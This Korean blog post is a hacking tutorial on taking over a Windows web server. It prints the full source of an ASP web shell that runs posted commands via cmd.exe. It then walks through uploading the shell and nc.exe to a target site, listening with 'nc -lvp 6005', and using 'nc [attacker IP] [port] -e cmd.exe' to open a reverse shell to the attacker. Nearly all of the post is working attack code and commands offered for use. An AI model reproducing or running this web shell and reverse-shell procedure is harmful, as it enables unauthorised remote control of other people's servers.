오늘은 nc를 이용하여 reverse telnet을 해보겠다.
일단 툴이 필요하다 .
nc.exe와 cmd.asp // nc는 백신을 키고 있다면 잡히게 되어있다.
cmd.asp는
일단 확장자를 asp로 작성되어서 웹사이트에 올라가게된다.
notepad를 킨뒤
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
----------------------
코드는 이렇게 짜여져있다.
백트랙에서 웹사이트를 킨뒤 접속을 해서 nc.exe파일과 cmd.asp파일을 같이 올리게된다.
그리고 cmd.asp올린곳에 들어가서 cmd.asp파일을 클릭하게되면 코드대로 web shell로 접속이 되게된다.
이런식으로 뜨게된다 일단
nc.exe가 어디있는지 찾기위해서 dir/s \ (모든 디렉터리의 파일을 찾겠다)라는 명령을 써준다.
그리고서버 어딘가 저장되어 있는 nc.exe를 찾는다.
이렇게 되었다면 리버스텔넷을 하기위한 사전작업이 끝나게된다.
그리고 attacker에서 nc -lvp 6005로 6005번 포트를 열게 된다.
그러면 이제 백트랙에서는 6005번 포트로 통신할 준비가 되어있다.
다시 웹쉘에 돌아가서 [nc] [attacker IP] [열어둔포트] -e cmd.exe (cmd.exe로 열어둔 포트로 통신)
이렇게 완벽하게 하게된다면 백트랙에서 이렇게 server의 cmd 콘솔창을 얻게된다.
'해킹 > 웹해킹' 카테고리의 다른 글
웹해킹 (Scanning) 취약점 분석 툴 (0) | 2015.09.04 |
---|